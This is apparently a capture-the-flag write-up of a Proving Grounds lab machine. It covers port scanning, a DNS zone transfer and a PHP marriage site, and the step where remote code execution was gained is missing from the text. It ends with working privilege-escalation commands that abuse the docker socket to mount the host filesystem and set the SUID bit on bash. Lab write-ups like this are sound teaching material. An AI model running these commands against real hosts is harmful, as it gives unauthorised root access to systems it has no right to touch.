$ nmap -p- --min-rate 3000 -Pn 192.168.201.196
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-15 14:46 +08
Nmap scan report for 192.168.201.196
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
DNS is open, so we likely need to find a domain name somewhere.
DNS Enum
Port 80 just shows us a static site:
There wasn't anything interesting about this site, so I went back to DNS. Similar to HTB, some machines from PGP tend to have domain names we just enter into our /etc/hosts file. I entered a few like matrimony.pg, matrimony.offsec and matrimony.off.
Then, I tested each domain with dig to see which exists. matrimony.off reveals the most information:
$ dig axfr @192.168.201.196 matrimony.off
; <<>> DiG 9.18.12-1-Debian <<>> axfr @192.168.201.196 matrimony.off
; (1 server found)
;; global options: +cmd
matrimony.off. 604800 IN SOA matrimony.off. root.matrimony.off. 4 604800 86400 2419200 604800
matrimony.off. 604800 IN NS matrimony.off.
matrimony.off. 604800 IN A 127.0.0.1
matrimony.off. 604800 IN AAAA ::1
prod99.matrimony.off. 604800 IN CNAME matrimony.off.
matrimony.off. 604800 IN SOA matrimony.off. root.matrimony.off. 4 604800 86400 2419200 604800
;; Query time: 164 msec
;; SERVER: 192.168.201.196#53(192.168.201.196) (TCP)
;; WHEN: Sat Jul 15 14:53:15 +08 2023
;; XFR size: 6 records (messages 1, bytes 226)
It also finds another subdomain at prod99.
Matrimonial Website -> RCE
The prod99 domain shows us this marriage website:
I created an account on the website and found that it runs on PHP. I checked around for exploits for 'matrim':
This machine doesn't have docker, so we can download the binary itself from our machine. This takes a while. When it's done, we can check the images present:
root@9079b6b2d2fb:/tmp# ./docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
<none> <none> 73aebf20ceb1 14 months ago 223MB
ubuntu latest 3f4714ee068a 14 months ago 77.8MB
We can mount back onto the first image:
./docker -H unix:///run/docker.sock run -it -v /:/mnt 73aebf20ceb1 bash
To get a root shell, simply run chmod u+s /mnt/bin/bash. Exit the docker container back onto the host machine and run bash -p:
